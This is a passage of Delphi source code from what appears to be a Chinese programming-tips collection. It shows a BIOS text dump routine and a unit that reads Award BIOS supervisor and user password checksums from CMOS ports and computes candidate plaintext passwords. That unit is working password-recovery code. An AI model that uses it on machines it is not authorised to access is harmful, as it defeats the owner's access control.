SHA1Update(SHA1Context, PChar(Result), Length(Result));
SHA1Final(SHA1Context, SHA1Digest);
SetString(Result, PChar(@SHA1Digest), sizeof(SHA1Digest));
// Return the hash string encoded in printable characters
Result := B64Encode(Result);
end;
function GetBiosInfoAsText: string;
var
p, q: pchar;
begin
q := nil;
p := PChar(Ptr($FE000));
repeat
if q <> nil then begin
if not (p^ in [#10, #13, #32..#126, #169, #184]) then begin
if (p^ = #0) and (p - q >= 8) then begin
Result := Result + TrimRight(String(q)) + #13#10;
end;
q := nil;
end;
end else
if p^ in [#33..#126, #169, #184] then
q := p;
inc(p);
until p > PChar(Ptr($FFFFF));
Result := TrimRight(Result);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Memo1.Lines.Text := GetBiosInfoAsText;
end;
＝＝＝＝＝＝＝＝＝＝
2、AWard Bios密码读取(应该是jingtao的文章，但是ID没有记录)
Unit AwardBiosPas;
//Write by lovejingtao
//http://www.138soft.com
interface
uses windows,SysUtils;
function My_GetBiosPassword:String;
implementation
function CalcPossiblePassword(PasswordValue: WORD): string;
var
I: BYTE;
C: CHAR;
S: string[8];
begin
I := 0;
while PasswordValue <> 0 do
begin
Inc(I);
if $263 > PasswordValue then
begin
if $80 > PasswordValue then
S[I] := CHAR(PasswordValue)
else if $B0 > PasswordValue then
S[I] := CHAR(PasswordValue and $77)
else if $11D > PasswordValue then
S[I] := CHAR($30 or (PasswordValue and $0F))
else if $114 > PasswordValue then
begin
S[I] := CHAR($64 or (PasswordValue and $0F));
if ‘0‘ > S[I] then
S[I] := CHAR(BYTE(S[I]) + 8);
end
else if $1C2 > PasswordValue then
S[I] := CHAR($70 or (PasswordValue and $03))
else if $1E4 > PasswordValue then
S[I] := CHAR($30 or (PasswordValue and $03))
else
begin
S[I] := CHAR($70 or (PasswordValue and $0F));
if ‘z‘ < S[I] then
S[I] := CHAR(BYTE(S[I]) - 8);
end;
end
else
S[I] := CHAR($30 or (PasswordValue and $3));
PasswordValue := (PasswordValue - BYTE(S[I])) shr 2;
end;
S[0] := CHAR(I);
PasswordValue := I shr 1;
while PasswordValue < I do
begin {this is to do because award starts calculating with the last letter}
C := S[BYTE(S[0]) - I + 1];
S[BYTE(S[0]) - I + 1] := S[I];
S[I] := C;
Dec(I);
end;
CalcPossiblePassword := S;
end;
function readcmos(off: byte): byte;
var
value: byte;
begin
asm
xor ax, ax
mov al, off
out 70h, al
in al, 71h
mov value, al
end;
readcmos := value;
end;
function My_GetBiosPassword:String;
var
superpw, userpw: word;
S:String;
begin
if Win32Platform <> VER_PLATFORM_WIN32_NT then //不是NT
begin
pchar(@superpw)[0] := char(readcmos($1C));
pchar(@superpw)[1] := char(readcmos($1D));
pchar(@userpw)[0] := char(readcmos($64));
pchar(@userpw)[1] := char(readcmos($65));
S:=‘超级用户密码为:‘+CalcPossiblePassword(superpw)+#13+‘用户密码为:‘+CalcPossiblePassword(userpw);
Result:=S;
end
else
Result
|